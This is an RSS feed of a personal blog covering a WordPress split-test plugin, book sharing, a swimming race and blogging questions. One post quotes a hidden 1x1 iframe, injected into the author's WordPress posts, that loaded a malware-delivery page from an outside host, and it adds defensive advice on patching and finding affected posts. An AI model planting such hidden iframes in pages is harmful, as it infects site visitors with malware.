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	<title>Dellanave &#187; Blog</title>
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	<link>http://www.dellanave.com/blog</link>
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		<title>How to Split Test Your WordPress Theme (w/ Plugin)</title>
		<link>http://www.dellanave.com/blog/2009/07/15/how-to-split-test-your-wordpress-theme-w-plugin/</link>
		<comments>http://www.dellanave.com/blog/2009/07/15/how-to-split-test-your-wordpress-theme-w-plugin/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 21:12:35 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Haxor]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=271</guid>
		<description><![CDATA[Here is a rudimentary solution that allows you to split test all metrics on your WordPress blog.  If there is legitimate usage of this, I " ]]></description>
			<content:encoded><![CDATA[<p>Here is a rudimentary solution that allows you to split test all metrics on your WordPress blog.  If there is legitimate usage of this, I will make changes and improvements but at this point I am just throwing together a 15 minute SOLUTION not a complete idiot-proof package.  Please, give me feedback, I appreciate it.  This was created in response to <a href="http://www.cindyalvarez.com/data-driven/how-to-ab-test-your-wordpress-blog">this</a>, so you can go there to read about why Google Website Optimizer is not the right solution for testing metrics across an entire site.</p>
<p><a title="Split Test WordPress Plugin" href="http://www.dellanave.com/blog/ddn_wp_splittest-0.2.zip ">Download plugin.</a></p>
<p>First thing you need to do is create 2 theme folders.</p>
<p>theme1 is your original theme</p>
<p>theme2 contains the same theme, but with the changes you want to test</p>
<p>Set up 2 Google Analytics accounts.  This seems easiest to do with 2 different email addresses, and 2 browsers so that you can load both at the same time, and it doesn&#8217;t complain about the URL being the same.</p>
<ol>
<li>Open theme1/footer.php and insert the GA code from one account into the footer before the &lt;/body&gt; tag.</li>
<li>Open theme2/footer.php and insert the GA code from one account into the footer before the &lt;/body&gt; tag.</li>
</ol>
<p>That&#8217;s about it.  The plugin will drop a cookie on the user telling them which theme file to load.  If you want to completely change the themes, you can edit the plugin and change the cookie name to something new.  The cookie lasts for 30 days by default.</p>
<p><strong>PS. </strong>I&#8217;m gonna admit right now that I almost always make mistakes the first time around.  If this doesn&#8217;t work for you &#8211; let me know.  If this doesn&#8217;t work for you and you figure out why &#8211; PLEASE hit me up and let me know so I can update this post.</p>
<p><strong>P.P.S</strong> This could be pretty easily made so much better, easier to install, easier to use, and more flexible.  We&#8217;ll see if the demand warrants it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2009/07/15/how-to-split-test-your-wordpress-theme-w-plugin/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>The Smartest Guy You&#8217;re Not Reading</title>
		<link>http://www.dellanave.com/blog/2009/01/06/the-smartest-guy-youre-not-reading/</link>
		<comments>http://www.dellanave.com/blog/2009/01/06/the-smartest-guy-youre-not-reading/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 17:01:00 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Awesome]]></category>
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=188</guid>
		<description><![CDATA[Andy Liu is blogging at Inspired Startups. Andy is probably one of the brightest guys I&#8217;ve ever met. Every single time I have talked to " ]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.inspiredstartup.com/">Andy Liu is blogging at Inspired Startups</a>.  Andy is probably one of the brightest guys I&#8217;ve ever met.  Every single time I have talked to him I have learned something that is absolutely invaluable.  This blog will be fantastic.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2009/01/06/the-smartest-guy-youre-not-reading/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Borrow My Copy of The Dip</title>
		<link>http://www.dellanave.com/blog/2008/04/26/borrow-my-copy-of-the-dip/</link>
		<comments>http://www.dellanave.com/blog/2008/04/26/borrow-my-copy-of-the-dip/#comments</comments>
		<pubDate>Sat, 26 Apr 2008 23:39:20 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Awesome]]></category>
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=144</guid>
		<description><![CDATA[Seth Godin made a post today asking people to share their copy of The Dip. I can&#8217;t think of anyone locally to pass it to, " ]]></description>
			<content:encoded><![CDATA[<p>Seth Godin made a post today <a href="http://sethgodin.typepad.com/seths_blog/2008/04/would-you-do-me.html">asking people to share their copy</a> of The Dip.  I can&#8217;t think of anyone locally to pass it to, and I liked <a href="http://bobpoole.typepad.com/bob_pooles_blog/2008/04/you-can-borrow.html">this post by Bob Poole</a>, so I&#8217;m going to send my copy to the first commenter requesting it.  Same rule applies though, that you agree to pass it on to the second commenter.  And so on..</p>
<p>Actually, I&#8217;m going to add one more rule.  You have to add a short note of who and where you are inside the cover.  Then pass it on.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/04/26/borrow-my-copy-of-the-dip/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Nice Exploit Code I Found in my WordPress</title>
		<link>http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/</link>
		<comments>http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/#comments</comments>
		<pubDate>Mon, 10 Mar 2008 17:51:53 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/</guid>
		<description><![CDATA[I was going through some old posts just now, and discovered this little treat embedded in a post: &#60;!-- Traffic Statistics --&#62; &#60;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 " ]]></description>
			<content:encoded><![CDATA[<p>I was going through some old posts just now, and discovered this little treat embedded in a post:</p>
<blockquote><p><code></p>
<pre>
&lt;!-- Traffic Statistics --&gt;
&lt;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&gt;&lt;/iframe&gt;
&lt;!-- End Traffic Statistics --&gt;
</pre>
<p></code></p></blockquote>
<p>The code that it&#8217;s loading (I know it doesn&#8217;t wrap, I don&#8217;t really care.)  Code deleted.  Thanks to <a href="http://www.softwareprojects.com/resources">Mike Peters</a> for the follow-up in the comments:</p>
<blockquote><p>
This code got sql injected into your wp_posts.</p>
<p>Make sure you upgrade to the 2.3.2 version of WordPress:</p>
<p>http://wordpress.org/support/topic/151888</p>
<p>What it does is attempt to install a VBS malware on your machine using an xmlrpc exploit in older versions of WordPress.</p>
<p>Look for something like this in your server logs -</p>
<p>200.216.67.181 &#8211; - [28/Jan/2008:13:10:54 -0500] “POST /xmlrpc.php HTTP/1.0″</p>
<p>Once you view the post, you’re infected &#8211; the VBS code will be installed and you’re going to need to run NOD32 or AVG to clean it up</p>
</blockquote>
<p>Someone with more patience than myself will probably take the time to disassemble that.</p>
<p>To find the post titles in your blog that might be affected, in SQL do:</p>
<blockquote><p><code><br />
mysql> select post_title from wp_posts where post_content like '%Statistics%';<br />
</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Lazyweb: Any beginner guides to blogging?</title>
		<link>http://www.dellanave.com/blog/2008/03/05/lazyweb-any-beginner-guides-to-blogging/</link>
		<comments>http://www.dellanave.com/blog/2008/03/05/lazyweb-any-beginner-guides-to-blogging/#comments</comments>
		<pubDate>Wed, 05 Mar 2008 17:26:04 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2008/03/05/lazyweb-any-beginner-guides-to-blogging/</guid>
		<description><![CDATA[I installed a WordPress for someone the other day, and when they got their first trackback spam it occurred to me that there is more " ]]></description>
			<content:encoded><![CDATA[<p>I installed a WordPress for someone the other day, and when they got their first trackback spam it occurred to me that there is more to know about having a blog than installing it.  Does anyone know of any beginner guides to read through on how to identify spam comments and trackbacks and other beginner blog type stuff.  The kind of stuff that is fuckin&#8217; duh for &#8220;us&#8221; but not for the 40+ set.</p>
<p>If nothing turns up, I&#8217;m going to write a post on it.</p>
<p>Thanks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/03/05/lazyweb-any-beginner-guides-to-blogging/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How to Pass Up the Opportunity of a Lifetime</title>
		<link>http://www.dellanave.com/blog/2007/11/16/how-to-pass-up-the-opportunity-of-a-lifetime/</link>
		<comments>http://www.dellanave.com/blog/2007/11/16/how-to-pass-up-the-opportunity-of-a-lifetime/#comments</comments>
		<pubDate>Fri, 16 Nov 2007 18:04:15 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Opinion]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2007/11/16/how-to-pass-up-the-opportunity-of-a-lifetime/</guid>
		<description><![CDATA[I was going to cross-post this on Shoemoney, but I&#8217;ll just link it instead.]]></description>
			<content:encoded><![CDATA[<p>I was going to cross-post this on <a href="http://www.shoemoney.com/2007/11/16/how-to-pass-up-the-opportunity-of-a-lifetime/">Shoemoney, but I&#8217;ll just link it</a> instead.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2007/11/16/how-to-pass-up-the-opportunity-of-a-lifetime/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Brock Siegel Wins First Annual Harveys Lake Race</title>
		<link>http://www.dellanave.com/blog/2007/08/12/brock-siegel-wins-first-annual-harveys-lake-race/</link>
		<comments>http://www.dellanave.com/blog/2007/08/12/brock-siegel-wins-first-annual-harveys-lake-race/#comments</comments>
		<pubDate>Sun, 12 Aug 2007 20:48:37 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Nonsense]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2007/08/12/brock-siegel-wins-first-annual-harveys-lake-race/</guid>
		<description><![CDATA[I woke up in quite a thick mental fog this morning after Kris &#038; Robyn Jones&#8217; beautiful Pepperwedding. Fortunately my phone rang and Brock Siegel, " ]]></description>
			<content:encoded><![CDATA[<p>I woke up in quite a thick mental fog this morning after Kris &#038; Robyn Jones&#8217;  beautiful Pepperwedding.  Fortunately my phone rang and Brock Siegel, Pepperjam&#8217;s VP of Biz Dev, had just the cure: a few hours on the lake before catching my flight back to Minneapolis.  As we cruised around the lake, Brock mentioned that this was the lake he recently completed a 1 mile swim on as part of the Wilkes-Barre triathlon he did with Kris Jones and Mike Jones.  <a href="http://www.mediadonis.net/">Marcus Tandler</a> mentioned that he was quite the swimmer himself.  I was pretty sure a challenge had presented itself, and being the gambler that I am I offered $100 to the winner of a swimming race.  Marcus protested that he had just taken down half a pizza and some chicken wings, but a little peer pressure was all that was needed to get the ball rolling.  The course was specified by me and the race was on.  Marcus got a ferocious start, and it wasn&#8217;t looking good for Brock.  The tide turned though, at the half-way mark when Marcus ran out of steam and Brock&#8217;s tenacity came through.  And the winner:</p>
<p><center><br />
<img src="http://www.dellanave.com/skitch/Photo_081207_001.jpg-20070812-154710.jpg"><br />
</center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2007/08/12/brock-siegel-wins-first-annual-harveys-lake-race/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>I&#8217;m a Poser Blogger</title>
		<link>http://www.dellanave.com/blog/2007/08/04/im-a-poser-blogger/</link>
		<comments>http://www.dellanave.com/blog/2007/08/04/im-a-poser-blogger/#comments</comments>
		<pubDate>Sat, 04 Aug 2007 15:38:39 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2007/08/04/im-a-poser-blogger/</guid>
		<description><![CDATA[I know, it has been weeks since I&#8217;ve blogged. We&#8217;ve been so busy with the AuctionAds sale I haven&#8217;t had time to rant on anything. " ]]></description>
			<content:encoded><![CDATA[<p>I know, it has been weeks since I&#8217;ve blogged.  We&#8217;ve been so busy with the AuctionAds sale I haven&#8217;t had time to rant on anything.  I&#8217;ll see what I can do.  If there&#8217;s something you&#8217;d like to see a blog post on, drop a comment or send me an email.  Thanks Shoe for calling me a <a href="http://www.shoemoney.com/2007/07/29/answers-to-yesterdays-questions-7-30-2007/">piker blogger.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2007/08/04/im-a-poser-blogger/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can Someone Tell Me What MyBlogLog Does?</title>
		<link>http://www.dellanave.com/blog/2007/02/19/can-someone-tell-me-what-mybloglog-does/</link>
		<comments>http://www.dellanave.com/blog/2007/02/19/can-someone-tell-me-what-mybloglog-does/#comments</comments>
		<pubDate>Tue, 20 Feb 2007 01:55:34 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2007/02/19/can-someone-tell-me-what-mybloglog-does/</guid>
		<description><![CDATA[Seriously. Please. Someone explain to me what MyBlogLog is useful for.]]></description>
			<content:encoded><![CDATA[<p>Seriously.  Please.  Someone explain to me what MyBlogLog is useful for.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2007/02/19/can-someone-tell-me-what-mybloglog-does/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Blog Tag Game Tree</title>
		<link>http://www.dellanave.com/blog/2006/12/18/blog-tag-game-tree/</link>
		<comments>http://www.dellanave.com/blog/2006/12/18/blog-tag-game-tree/#comments</comments>
		<pubDate>Mon, 18 Dec 2006 18:50:37 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2006/12/18/blog-tag-game-tree/</guid>
		<description><![CDATA[I was going to do this, and I stumbled on someone else having already done it. So, heres a cool tree of participants from the " ]]></description>
			<content:encoded><![CDATA[<p>I was going to do this, and I stumbled on someone else having already done it.  So, heres a cool <a href="http://www.soloseo.com/blog-tag-tree.html">tree of participants</a> from the recent blog tag game.  Props for putting in the work. If I have some time, I&#8217;ll scrape it and do some other cool stuff.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2006/12/18/blog-tag-game-tree/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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